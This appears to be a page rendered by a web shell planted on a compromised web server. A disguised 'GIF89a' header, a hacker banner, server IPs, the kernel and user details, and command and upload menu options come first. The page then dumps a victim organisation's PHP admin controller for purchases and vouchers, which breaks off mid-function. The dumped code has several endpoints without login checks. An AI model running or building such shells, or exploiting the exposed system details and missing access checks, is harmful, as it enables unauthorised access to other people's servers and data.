GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.133.108.172
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../cas/application/controllers/admin/StockAndPurchase.php
<?php

/**
 * Request Handler For All Kinds Of Stock And Purchase Related Requests
 *
 * @author Softpro India Pvt. Ltd.
 */
class StockAndPurchase extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/StockAndPurchaseManagement');
        $this->load->model('admin/VendorManagement');
        $this->load->model('admin/InventoryManagement');
        $this->load->model('admin/LocationManagement');
        $this->load->library('util/CSVHandler');
    }

    public function index() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allPurchases'] = $this->StockAndPurchaseManagement->getAllPurchases()->result();
            $this->load->view('admin/stockAndInventory/purchases', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createPurchase() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['states'] = $this->LocationManagement->getAllNonDeletedStates()->result();
            $viewData['vendors'] = $this->VendorManagement->getNonDeletedActiveVendors()->result();
            $viewData['purchaseHeads'] = $this->InventoryManagement->getNonDeletedActivePurchaseHeads()->result();
            $viewData['inventoryCategories'] = $this->InventoryManagement->getAllNonDeletedActiveInventoryCategories()->result();
            if (isset($_POST['createItems'])) {
                $numberOfItems = trim($this->input->post("totalItems"));
                if ($numberOfItems == "") {
                    $viewData['totalItems'] = 0;
                    $this->session->set_flashdata('errorMessage', "Please Enter Total Items Purchased In This Invoice.");
                    $this->load->view('admin/stockAndInventory/createPurchases', $viewData);
                } else if (!is_numeric($numberOfItems)) {
                    $viewData['totalItems'] = 0;
                    $this->session->set_flashdata('errorMessage', "Total Number Of Items Should Be A Valid Number.");
                    $this->load->view('admin/stockAndInventory/createPurchases', $viewData);
                } else {
                    $viewData['totalItems'] = $numberOfItems;
                    $this->load->view('admin/stockAndInventory/createPurchases', $viewData);
                }
            } else if (isset($_POST['submitFrmBtn'])) {
                $this->form_validation->set_rules('invoiceNo', 'Invoice Number', 'trim|required', array('required' => 'Please Enter Bill/Invoice Number.'));
                $this->form_validation->set_rules('invoiceDate', 'Invoice Date', 'trim|required', array('required' => 'Please Select Invoice Date.'));
                $this->form_validation->set_rules('totalAmount', 'Total Amount', 'trim|required|numeric', array('required' => 'Please Enter Invoice Amount.'));
                $this->form_validation->set_rules('invCat', 'Invetory Category', 'trim|required', array('required' => 'Please Select Invetory Category.'));
                $this->form_validation->set_rules('pHead', 'Purchase Head', 'trim|required', array('required' => 'Please Select Purchase Head.'));
                $this->form_validation->set_rules('vendor', 'Supplier', 'trim|required', array('required' => 'Please Select Supplier.'));
                $this->form_validation->set_rules('totalItems', 'Total Items', 'trim|required|numeric', array('required' => 'Please Enter Total Number Of Items In This Invoice.'));
                $this->form_validation->set_rules('registerName', 'Register Name', 'trim|required', array('required' => 'Please Enter Regsiter Name.'));
                $this->form_validation->set_rules('registerPageNo', 'Register Page No.', 'trim|required', array('required' => 'Please Enter Regsiter Page No.'));
                $this->form_validation->set_rules('registerSrNo', 'Register Sr. No.', 'trim|required', array('required' => 'Please Enter Regsiter Sr. No.'));
                $totalItems = trim($this->input->post("totalItemsCreated"));
                $itemNames = $this->input->post("purchaseItemName");
                $itemMakes = $this->input->post("purchaseItemMake");
                $itemModels = $this->input->post("purchaseItemModel");
                $itemQuantities = $this->input->post("purchaseItemQty");
                $itemReceiveDates = $this->input->post("purchaseItemReceiveDate");
                $itemUnitPrices = $this->input->post("purchaseItemUPrice");
                $itemTaxPercentage = $this->input->post("purchaseItemTaxPerc");
                $itemTotalAmount = $this->input->post("purchaseItemTotalAmt");
                $isNonNumericOrBlank = 0;
                $purchaseItems = array();
                if ($totalItems) {
                    for ($i = 0; $i < $totalItems; $i++) {
                        if ((trim($itemNames[$i]) == "") || (!is_numeric($itemQuantities[$i])) || (!is_numeric($itemUnitPrices[$i])) || (!is_numeric($itemTaxPercentage[$i]) || (!is_numeric($itemTotalAmount[$i])))) {
                            $isNonNumericOrBlank++;
                        } else {
                            array_push($purchaseItems, array(
                                'pdm_make' => addslashes(trim($itemMakes[$i])),
                                'pdm_model' => addslashes(trim($itemModels[$i])),
                                'pdm_item_name' => addslashes(trim($itemNames[$i])),
                                'pdm_cost_with_tax' => trim($itemTotalAmount[$i]),
                                'pdm_receive_date' => (trim($itemReceiveDates[$i]) == "") ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $itemReceiveDates[$i]))),
                                'pdm_quantity' => trim($itemQuantities[$i]),
                                'pdm_unit_price' => trim($itemUnitPrices[$i]),
                                'pdm_tax_percentage' => trim($itemTaxPercentage[$i]),
                                'pm_id' => ''
                            ));
                        }
                    }
                }
                $queryByInvoiceNumber = $this->StockAndPurchaseManagement->getPurchaseInfoByInvoiceNumber(trim($this->input->post('invoiceNo')));
                $purchaseInfoByInvoiceNumber = $queryByInvoiceNumber->result();
                if ($this->form_validation->run() == FALSE) {
                    $viewData['totalItems'] = $totalItems;
                    $this->load->view('admin/stockAndInventory/createPurchases', $viewData);
                } else if (sizeof($purchaseInfoByInvoiceNumber)) {
                    $viewData['totalItems'] = $totalItems;
                    $this->session->set_flashdata('errorMessage', "Another Purchase Record With This Invoice Number(" . trim($this->input->post('invoiceNo')) . ") Exits. Please Enter Correct Invoice Number.");
                    $this->load->view('admin/stockAndInventory/createPurchases', $viewData);
                } else if ($isNonNumericOrBlank) {
                    $viewData['totalItems'] = $totalItems;
                    $this->session->set_flashdata('errorMessage', "Any Of The Item Entry Is Incorrect. Please Enter All Required Fields & Valid Number/Decimal Number In Cost/Tax Fields.");
                    $this->load->view('admin/stockAndInventory/createPurchases', $viewData);
                } else if (empty($_FILES['invoiceFile']['name'])) {
                    $viewData['totalItems'] = $totalItems;
                    $this->form_validation->set_rules('invoiceFile', 'Invoice File', 'required', array('required' => 'Invoice File Is Required.'));
                    $this->form_validation->run();
                    $this->load->view('admin/stockAndInventory/createPurchases', $viewData);
                } else {
                    $invoiceFileWithPath = NULL;
                    if (!empty($_FILES['invoiceFile']['name'])) {
                        $invoiceFile['upload_path'] = './assets/admin/uploads/purchaseInvoices/';
                        $invoiceFile['allowed_types'] = 'pdf';
                        $invoiceFile['max_size'] = '1024';
                        $invoiceFile['file_ext_tolower'] = TRUE;
                        $invoiceFile['encrypt_name'] = TRUE;
                        $this->load->library('upload', $invoiceFile);
                        if (!$this->upload->do_upload('invoiceFile')) {
                            $viewData['totalItems'] = $totalItems;
                            $this->session->set_flashdata('errorMessage', "Invoice File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 1 MB Max. & Allowed Extension: Only *.pdf.");
                            $this->load->view('admin/stockAndInventory/createPurchases', $viewData);
                        } else {
                            $invoiceFileWithPath = "/assets/admin/uploads/purchaseInvoices/" . $this->upload->data()['file_name'];
                        }
                    }
                    $newPurchaseInfo = array(
                        'pm_invoice_date' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('invoiceDate')))),
                        'pm_invoice_number' => trim($this->input->post("invoiceNo")),
                        'pm_total_amt_with_tax' => trim($this->input->post("totalAmount")),
                        'icm_id' => trim($this->input->post("invCat")),
                        'pm_invoice_file' => $invoiceFileWithPath,
                        'pm_total_items' => $totalItems,
                        'iphm_id' => $this->input->post("pHead"),
                        'ven_id' => $this->input->post("vendor"),
                        'pm_added_by' => $this->session->userdata("adminData")["smember_id"],
                        'pm_added_on' => date("Y-m-d H:i:s"),
                        'pm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                        'pm_updated_on' => date("Y-m-d H:i:s"),
                        'pm_register_details' => addslashes(trim($this->input->post("registerName"))) . " | Page No.: " . (addslashes(trim($this->input->post("registerPageNo")))) . " | Sr. No.: " . (addslashes(trim($this->input->post("registerSrNo"))))
                    );
                    $this->db->trans_start();
                    $pm_id = $this->StockAndPurchaseManagement->createNewPurchase($newPurchaseInfo);
                    if ($pm_id) {
                        for ($items = 0; $items < sizeof($purchaseItems); $items++) {
                            $purchaseItems[$items]['pm_id'] = $pm_id;
                        }
                        $this->StockAndPurchaseManagement->createPurchaseDetailsInfoMulti($purchaseItems);
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Purchase Info Saved Successfully. <a href="' . site_url("admin/StockAndPurchase/purchaseDetails") . '">Click Here</a> To Update Stock Information.');
                        redirect("admin/StockAndPurchase/");
                    } else {
                        $this->session->set_flashdata('successMessage', 'An Error Occured While Saving Purchase Info. Try Again.');
                        redirect(current_url());
                    }
                }
            } else {
                $viewData['totalItems'] = 0;
                $this->load->view('admin/stockAndInventory/createPurchases', $viewData);
            }
        } else {
            redirect("admin/");
        }
    }

    public function editPurchase($pm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['vendors'] = $this->VendorManagement->getNonDeletedActiveVendors()->result();
            $viewData['purchaseHeads'] = $this->InventoryManagement->getNonDeletedActivePurchaseHeads()->result();
            $viewData['inventoryCategories'] = $this->InventoryManagement->getAllNonDeletedActiveInventoryCategories()->result();
            $viewData['purchaseInfo'] = $this->StockAndPurchaseManagement->getPurchaseInfoBy($pm_id)->result()[0];
            $viewData['purchaseDetailInfo'] = $this->StockAndPurchaseManagement->getPurchaseDetailsBy($pm_id)->result();
            $this->load->view('admin/stockAndInventory/editPurchase', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updatePurchase() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $pmId = trim($this->input->post('pmId'));
            $this->form_validation->set_rules('invoiceNo', 'Invoice Number', 'trim|required', array('required' => 'Please Enter Bill/Invoice Number.'));
            $this->form_validation->set_rules('invoiceDate', 'Invoice Date', 'trim|required', array('required' => 'Please Select Invoice Date.'));
            $this->form_validation->set_rules('totalAmount', 'Total Amount', 'trim|required|numeric', array('required' => 'Please Enter Invoice Amount.'));
            $this->form_validation->set_rules('invCat', 'Invetory Category', 'trim|required', array('required' => 'Please Select Invetory Category.'));
            $this->form_validation->set_rules('pHead', 'Purchase Head', 'trim|required', array('required' => 'Please Select Purchase Head.'));
            $this->form_validation->set_rules('vendor', 'Supplier', 'trim|required', array('required' => 'Please Select Supplier.'));
            $this->form_validation->set_rules('totalItems', 'Total Items', 'trim|required|numeric', array('required' => 'Please Enter Total Number Of Items In This Invoice.'));
            $invoiceCurrentFileName = substr($this->input->post('currentInvoiceFile'), strripos($this->input->post('currentInvoiceFile'), "/") + 1);
            $totalItems = trim($this->input->post("totalItemsCreated"));
            $itemPurchaseDetailIds = $this->input->post("purchaseDetailItemId");
            $itemNames = $this->input->post("purchaseItemName");
            $itemMakes = $this->input->post("purchaseItemMake");
            $itemModels = $this->input->post("purchaseItemModel");
            $itemReceiveDates = $this->input->post("purchaseItemReceiveDate");
            $itemQuantities = $this->input->post("purchaseItemQty");
            $itemUnitPrices = $this->input->post("purchaseItemUPrice");
            $itemTaxPercentage = $this->input->post("purchaseItemTaxPerc");
            $itemTotalAmount = $this->input->post("purchaseItemTotalAmt");
            $isNonNumericOrBlank = 0;
            $purchaseItems = array();
            if ($totalItems) {
                for ($i = 0; $i < $totalItems; $i++) {
                    if ((trim($itemNames[$i]) == "") || (!is_numeric($itemQuantities[$i])) || (!is_numeric($itemUnitPrices[$i])) || (!is_numeric($itemTaxPercentage[$i]) || (!is_numeric($itemTotalAmount[$i])))) {
                        $isNonNumericOrBlank++;
                    } else {
                        array_push($purchaseItems, array(
                            'pdm_id' => trim($itemPurchaseDetailIds[$i]),
                            'pdm_make' => addslashes(trim($itemMakes[$i])),
                            'pdm_model' => addslashes(trim($itemModels[$i])),
                            'pdm_item_name' => addslashes(trim($itemNames[$i])),
                            'pdm_cost_with_tax' => trim($itemTotalAmount[$i]),
                            'pdm_receive_date' => (trim($itemReceiveDates[$i]) == "") ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $itemReceiveDates[$i]))),
                            'pdm_quantity' => trim($itemQuantities[$i]),
                            'pdm_unit_price' => trim($itemUnitPrices[$i]),
                            'pdm_tax_percentage' => trim($itemTaxPercentage[$i])
                        ));
                    }
                }
            }
            if ($this->form_validation->run() == FALSE) {
                $this->editPurchase($pmId);
            } else if (!$this->StockAndPurchaseManagement->isPurchaseInvoiceNumberSafeUpdate($pmId, trim($this->input->post('invoiceNo')))) {
                $this->session->set_flashdata('errorMessage', "Another Purchase Record With This Invoice Number(" . trim($this->input->post('invoiceNo')) . ") Exits. Please Enter Correct Invoice Number.");
                $this->editPurchase($pmId);
            } else if ($isNonNumericOrBlank) {
                $this->session->set_flashdata('errorMessage', "Any Of The Item Entry Is Incorrect. Please Enter All Required Fields & Valid Number In Cost Field.");
                $this->editPurchase($pmId);
            } else {
                $invoiceFileWithPath = NULL;
                if (!empty($_FILES['invoiceFile']['name'])) {
                    $invoiceFile['upload_path'] = './assets/admin/uploads/purchaseInvoices/';
                    $invoiceFile['allowed_types'] = 'pdf';
                    $invoiceFile['max_size'] = '1024';
                    $invoiceFile['file_ext_tolower'] = TRUE;
                    $invoiceFile['encrypt_name'] = TRUE;
                    $this->load->library('upload', $invoiceFile);
                    if (!$this->upload->do_upload('invoiceFile')) {
                        $viewData['totalItems'] = $totalItems;
                        $this->session->set_flashdata('errorMessage', "Invoice File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 1 MB Max. & Allowed Extension: Only *.pdf.");
                        $this->load->view('admin/stockAndInventory/editPurchase', $viewData);
                    } else {
                        if (file_exists("./assets/admin/uploads/purchaseInvoices/" . $invoiceCurrentFileName)) {
                            unlink("./assets/admin/uploads/purchaseInvoices/" . $invoiceCurrentFileName);
                        }
                        $invoiceFileWithPath = "/assets/admin/uploads/purchaseInvoices/" . $this->upload->data()['file_name'];
                    }
                } else {
                    $invoiceFileWithPath = trim($this->input->post("currentInvoiceFile"));
                }
                $purchaseInfo = array(
                    'pm_id' => $pmId,
                    'pm_invoice_date' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('invoiceDate')))),
                    'pm_invoice_number' => trim($this->input->post("invoiceNo")),
                    'icm_id' => trim($this->input->post("invCat")),
                    'pm_total_amt_with_tax' => trim($this->input->post("totalAmount")),
                    'pm_invoice_file' => $invoiceFileWithPath,
                    'pm_total_items' => $totalItems,
                    'iphm_id' => $this->input->post("pHead"),
                    'ven_id' => $this->input->post("vendor"),
                    'pm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                    'pm_updated_on' => date("Y-m-d H:i:s"),
                    'pm_register_details' => addslashes(trim($this->input->post("registerDetails")))
                );
                $this->db->trans_start();
                if ($this->StockAndPurchaseManagement->updatePurchaseInfo($purchaseInfo)) {
                    $this->StockAndPurchaseManagement->updatePurchaseDetailInfoMulti($purchaseItems);
                    $this->db->trans_complete();
                    $this->session->set_flashdata('successMessage', 'Purchase Info Updated Successfully.');
                    redirect("admin/StockAndPurchase/");
                } else {
                    $this->session->set_flashdata('successMessage', 'An Error Occured While Updating Purchase Info. Try Again.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function deletePurchase($pm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $purchase_info = $this->StockAndPurchaseManagement->getPurchaseInfoBy($pm_id)->result()[0];
            $purchase_detail_info = $this->StockAndPurchaseManagement->getPurchaseDetailsBy($pm_id)->result();
            $this->db->trans_start();
            if ($purchase_info->pm_invoice_file != "" && $purchase_info->pm_invoice_file != NULl) {
                if (file_exists("." . $purchase_info->pm_invoice_file)) {
                    unlink("." . $purchase_info->pm_invoice_file);
                }
            }
            for ($i = 0; $i < sizeof($purchase_detail_info); $i++) {
                $stockInfo = $this->StockAndPurchaseManagement->getAllStocksBy($purchase_detail_info[$i]->pdm_id)->result();
                for ($j = 0; $j < sizeof($stockInfo); $j++) {
                    $this->StockAndPurchaseManagement->deleteIssueReturnInfoBy($stockInfo[$j]->sm_id);
                }
                $this->StockAndPurchaseManagement->deleteStockInfoByPurchaseDetail($purchase_detail_info[$i]->pdm_id);
            }
            $this->StockAndPurchaseManagement->deletePurchaseDetailInfoEntry($pm_id);
            $this->StockAndPurchaseManagement->deletePurchaseInfoEntry($pm_id);
            $this->db->trans_complete();
            if ($this->db->trans_status() === FALSE) {
                $this->db->trans_rollback();
                $this->session->set_flashdata('errorMessage', 'An Error Occured While Deleting Invoice Entry. Try Later.');
                redirect(current_url());
            } else {
                $this->db->trans_commit();
                $this->session->set_flashdata('successMessage', 'Invoice Deleted & Stocks Updated Successfully.');
                redirect("admin/StockAndPurchase/");
            }
        } else {
            redirect("admin/");
        }
    }

    public function getPurchaseFullInfo() {
        $pm_id = $_POST['pm_id'];
        $purchaseDetails = array();
        $purchaseVoucherDetails = array();
        $purchase_info = $this->StockAndPurchaseManagement->getPurchaseInfoBy($pm_id)->result()[0];
        $purchase_details_info = $this->StockAndPurchaseManagement->getPurchaseDetailsBy($pm_id)->result();
        $purchase_all_vouchers_info = $this->StockAndPurchaseManagement->getPurchaseVouchersBy($pm_id)->result();
        $purchase_last_voucher_info = $this->StockAndPurchaseManagement->getLastPaymentVoucherInfoBy($pm_id)->result();
        if (sizeof($purchase_last_voucher_info)) {
            $pvm_id = $purchase_last_voucher_info[0]->pvm_id;
            $pvm_mode = stripslashes($purchase_last_voucher_info[0]->pvm_mode);
            $pvm_detail = stripslashes($purchase_last_voucher_info[0]->pvm_detail);
            $pvm_amount = $purchase_last_voucher_info[0]->pvm_amount;
            $pvm_paid_amt = $purchase_last_voucher_info[0]->pvm_payment_till_now;
            $pvm_pending_amt = ($purchase_info->pm_total_amt_with_tax - $purchase_last_voucher_info[0]->pvm_payment_till_now);
            $pvm_paid_till_now = "<i class='fa fa-inr'></i>" . $purchase_last_voucher_info[0]->pvm_payment_till_now . "/- INR";
            $pvm_amount_pending = "<i class='fa fa-inr'></i>" . number_format(($purchase_info->pm_total_amt_with_tax - $purchase_last_voucher_info[0]->pvm_payment_till_now), 2, ".", "") . "/- INR";
            $pvm_date = ($purchase_last_voucher_info[0]->pvm_date == "1970-01-01") ? "Invalid Date" : date("d-m-Y", strtotime($purchase_last_voucher_info[0]->pvm_date));
            $pvm_created_by = $purchase_last_voucher_info[0]->addedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($purchase_last_voucher_info[0]->pvm_added_on));
            $pvm_updated_by = $purchase_last_voucher_info[0]->updatedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($purchase_last_voucher_info[0]->pvm_updated_on));
        } else {
            $pvm_id = "-";
            $pvm_mode = "-";
            $pvm_detail = "-";
            $pvm_amount = "-";
            $pvm_paid_amt = "0";
            $pvm_pending_amt = $purchase_info->pm_total_amt_with_tax;
            $pvm_paid_till_now = "<i class='fa fa-inr'></i> 0/- INR";
            $pvm_amount_pending = "<i class='fa fa-inr'></i>" . $purchase_info->pm_total_amt_with_tax . "/- INR";
            $pvm_date = "-";
            $pvm_created_by = "-";
            $pvm_updated_by = "-";
        }
        for ($i = 0; $i < sizeof($purchase_details_info); $i++) {
            array_push($purchaseDetails, array(
                'pd_id' => $purchase_details_info[$i]->pdm_id,
                'pd_make' => ($purchase_details_info[$i]->pdm_make == "" || $purchase_details_info[$i]->pdm_make == NULL) ? "-" : stripslashes($purchase_details_info[$i]->pdm_make),
                'pd_model' => ($purchase_details_info[$i]->pdm_model == "" || $purchase_details_info[$i]->pdm_model == NULL) ? "-" : stripslashes($purchase_details_info[$i]->pdm_model),
                'pd_rec_date' => ($purchase_details_info[$i]->pdm_receive_date == NULL) ? "-" : date('d-m-Y', strtotime($purchase_details_info[$i]->pdm_receive_date)),
                'pd_quantity' => $purchase_details_info[$i]->pdm_quantity,
                'pd_item_name' => stripslashes($purchase_details_info[$i]->pdm_item_name),
                'pd_unit_price' => "<i class='fa fa-inr'></i>" . $purchase_details_info[$i]->pdm_unit_price . "/- INR",
                'pd_tax_perc' => $purchase_details_info[$i]->pdm_tax_percentage,
                'pd_tot_cost_with_tax' => "<i class='fa fa-inr'></i>" . $purchase_details_info[$i]->pdm_cost_with_tax . "/- INR",
            ));
        }
        for ($i = 0; $i < sizeof($purchase_all_vouchers_info); $i++) {
            array_push($purchaseVoucherDetails, array(
                'pvm_id' => $purchase_all_vouchers_info[$i]->pvm_id,
                'pvm_mode' => stripslashes($purchase_all_vouchers_info[$i]->pvm_mode),
                'pvm_detail' => stripslashes($purchase_all_vouchers_info[$i]->pvm_detail),
                'pvm_amount' => "<i class='fa fa-inr'></i>" . stripslashes($purchase_all_vouchers_info[$i]->pvm_amount) . "/- INR",
                'pvm_date' => date('d-m-Y', strtotime($purchase_all_vouchers_info[$i]->pvm_date))
            ));
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'pm_id' => $purchase_info->pm_id,
            'pm_invoice_number' => stripslashes($purchase_info->pm_invoice_number),
            'pm_total_items' => $purchase_info->pm_total_items,
            'pm_invoice_date' => ($purchase_info->pm_invoice_date == "1970-01-01") ? "Invalid Date" : date('d-m-Y', strtotime($purchase_info->pm_invoice_date)),
            'pm_total_amt_with_tax' => "<i class='fa fa-inr'></i>" . $purchase_info->pm_total_amt_with_tax . "/- INR",
            'pm_invoice_file' => ($purchase_info->pm_invoice_file == "" || $purchase_info->pm_invoice_file == NULl) ? "javascript:void();" : base_url($purchase_info->pm_invoice_file),
            'pm_register_details' => ($purchase_info->pm_register_details == "" || $purchase_info->pm_register_details == NULL) ? "NA" : stripslashes($purchase_info->pm_register_details),
            'purchase_head' => stripslashes($purchase_info->iphm_name),
            'vendor_business_name' => stripslashes($purchase_info->ven_business_name),
            'vendor_address' => stripslashes("<b>Address</b>: " . $purchase_info->ven_addr_line_one . " " . $purchase_info->ven_addr_line_two . " " . $purchase_info->ven_addr_line_three . " <b>City</b>: " . $purchase_info->city_name . " <b>Zip</b>: " . $purchase_info->ven_zipcode),
            'category_name' => stripslashes($purchase_info->icm_name),
            'pm_purchase_details' => $purchaseDetails,
            'pm_purchase_voucher_details' => $purchaseVoucherDetails,
            'pm_created_by' => $purchase_info->addedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($purchase_info->pm_added_on)),
            'pm_updated_by' => $purchase_info->updatedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($purchase_info->pm_updated_on)),
            'pvm_id' => $pvm_id,
            'pvm_mode' => $pvm_mode,
            'pvm_detail' => $pvm_detail,
            'pvm_amount' => $pvm_amount,
            'pvm_date' => $pvm_date,
            'pvm_paid_till_now' => $pvm_paid_till_now,
            'amount_pending' => $pvm_amount_pending,
            'paid_amt' => $pvm_paid_amt,
            'pending_amt' => $pvm_pending_amt,
            'pvm_created_by' => $pvm_created_by,
            'pvm_updated_by' => $pvm_updated_by
        );
        echo json_encode($responseData);
    }

    public function getCategoryByInvoice() {
        $pm_id = $_POST['pm_id'];
        $query = $this->StockAndPurchaseManagement->getPurchaseInfoBy($pm_id);
        $categoryList = $query->result();
        $options = "";
        for ($i = 0; $i < (sizeof($categoryList)); $i++) {
            $options .= "<option value=" . $categoryList[$i]->icm_id . " selected>" . stripslashes($categoryList[$i]->icm_name) . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'category_info' => $options
        );
        echo json_encode($responseData);
    }

    /* Requst Handers For Vouchers & Related Stuff */

    public function vouchers() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allVouchers'] = $this->StockAndPurchaseManagement->getPurchaseVouchers()->result();
            $this->load->view('admin/stockAndInventory/paymentVouchers', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createVoucher($pm_id = '') {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['pm_id'] = $pm_id;
            $viewData['allInvoices'] = $this->StockAndPurchaseManagement->getAllPurchases()->result();
            $this->load->view('admin/stockAndInventory/createPaymentVoucher', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function savePurchaseVoucher() {
        $this->form_validation->set_rules('pvmMode', 'Voucher Mode', 'trim|required', array('required' => 'Please Select Payment Mode.'));
        $this->form_validation->set_rules('pvmDetail', 'Payment Detai', 'trim|required', array('required' => 'Please Enter Payment Detail.'));
        $this->form_validation->set_rules('pvmAmount', 'Amount', 'trim|required|numeric', array('required' => 'Please Enter Payment Amount.'));
        $this->form_validation->set_rules('pvmDate', 'Date', 'trim|required', array('required' => 'Please Enter/Select Payment Date.'));
        if ($this->form_validation->run() == FALSE) {
            $this->createVoucher();
        } else {
            $newVoucherInfo = array(
                'pvm_mode' => addslashes(trim($this->input->post('pvmMode'))),
                'pvm_detail' => addslashes(trim($this->input->post('pvmDetail'))),
                'pvm_amount' => $this->input->post('pvmAmount'),
                'pvm_date' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('pvmDate')))),
                'pm_id' => $this->input->post('invoiceNoInput'),
                'pvm_payment_till_now' => trim($this->input->post('pvmPaidTillNow')),
                'pvm_added_on' => date("Y-m-d H:i:s"),
                'pvm_added_by' => $this->session->userdata("adminData")["smember_id"],
                'pvm_updated_on' => date("Y-m-d H:i:s"),
                'pvm_updated_by' => $this->session->userdata("adminData")["smember_id"]
            );
            if ($this->StockAndPurchaseManagement->createPurchaseVoucher($newVoucherInfo)) {
                $this->session->set_flashdata('successMessage', 'Voucher Created Successfully.');
                redirect("admin/StockAndPurchase/vouchers");
            } else {
                $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Voucher. Try Later.');
                redirect("admin/StockAndPurchase/vouchers");
            }
        }
    }

    public function deleteVoucher($pvm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $purchaseVoucherInfo = $this->StockAndPurchaseManagement->getPurchaseVouchersInfoBy($pvm_id)->result()[0];
            $lastPurchaseVoucherInfo = $this->StockAndPurchaseManagement->getLastPaymentVoucherInfoBy($purchaseVoucherInfo->pm_id)->result()[0];
            if ($lastPurchaseVoucherInfo->pvm_id == $pvm_id) {
                $this->StockAndPurchaseManagement->deletePurchaseVoucher($pvm_id);
                $this->session->set_flashdata('successMessage', 'Voucher Deleted Successfully.');
                redirect("admin/StockAndPurchase/vouchers");
            } else {
                $this->session->set_flashdata('errorMessage', 'This Voucher Can Not Be Deleted As Some Other Vouchers Are Also Updated After This One. Please Firstly Delete All Those Voucher(s) That Are Updated After This One.');
                redirect("admin/StockAndPurchase/vouchers");
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Handlers For Purchase Details & Related Stuff */

    public function purchaseDetails() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $allPurchaseDetailInfo = array();
            $purchaseDetailsInfo = $this->StockAndPurchaseManagement->getAllPurchaseDetails()->result();
            for ($i = 0; $i < sizeof($purchaseDetailsInfo); $i++) {
                $record = $purchaseDetailsInfo[$i];
                $stockInventoryInfo = $this->StockAndPurchaseManagement->getAllStocksBy($record->pdm_id)->result();
                $invoiceNumber = "";
                if ($record->pm_invoice_file == "" || $record->pm_invoice_file == NULL) {
                    $invoiceNumber = stripslashes($record->pm_invoice_number);
                } else {
                    $invoiceNumber = "<a href='" . base_url($record->pm_invoice_file) . "' target='_blank'>" . stripslashes($record->pm_invoice_number) . "</a>";
                }
                array_push($allPurchaseDetailInfo, array(
                    'pdm_id' => $record->pdm_id,
                    'pdm_item_name' => stripslashes($record->pdm_item_name),
                    'pdm_make' => ($record->pdm_make == "" || $record->pdm_make == NULL) ? "NA" : stripslashes($record->pdm_make),
                    'pdm_model' => ($record->pdm_model == "" || $record->pdm_model == NULL) ? "NA" : stripslashes($record->pdm_model),
                    'pdm_unit_price' => "<i class='fa fa-inr'></i> " . $record->pdm_unit_price,
                    'pdm_quantity' => $record->pdm_quantity,
                    'pdm_cost_with_tax' => "<i class='fa fa-inr'></i> " . $record->pdm_cost_with_tax,
                    'pdm_tax_percentage' => $record->pdm_tax_percentage . "%",
                    'pm_invoice_number' => $invoiceNumber,
                    'pm_invoice_date' => date("d-m-Y", strtotime($record->pm_invoice_date)),
                    'is_stock_updated' => (sizeof($stockInventoryInfo)) ? "1" : "0",
                    'pm_id' => $record->pm_id
                ));
            }
            $viewData['allPurchasedStock'] = $allPurchaseDetailInfo;
            $this->load->view('admin/stockAndInventory/purchaseDetails', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createPurchaseDetail() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['allInvoices'] = $this->StockAndPurchaseManagement->getAllPurchases()->result();
            if (isset($_POST['createItems'])) {
                $numberOfItems = trim($this->input->post("totalItems"));
                if ($numberOfItems == "") {
                    $viewData['totalItems'] = 0;
                    $this->session->set_flashdata('errorMessage', "Please Enter Total Items To Add In This Invoice.");
                    $this->load->view('admin/stockAndInventory/createPurchaseDetail', $viewData);
                } else if (!is_numeric($numberOfItems)) {
                    $viewData['totalItems'] = 0;
                    $this->session->set_flashdata('errorMessage', "Total Number Of Items Should Be A Valid Number.");
                    $this->load->view('admin/stockAndInventory/createPurchaseDetail', $viewData);
                } else {
                    $viewData['totalItems'] = $numberOfItems;
                    $this->load->view('admin/stockAndInventory/createPurchaseDetail', $viewData);
                }
            } else if (isset($_POST['submitFrmBtn'])) {
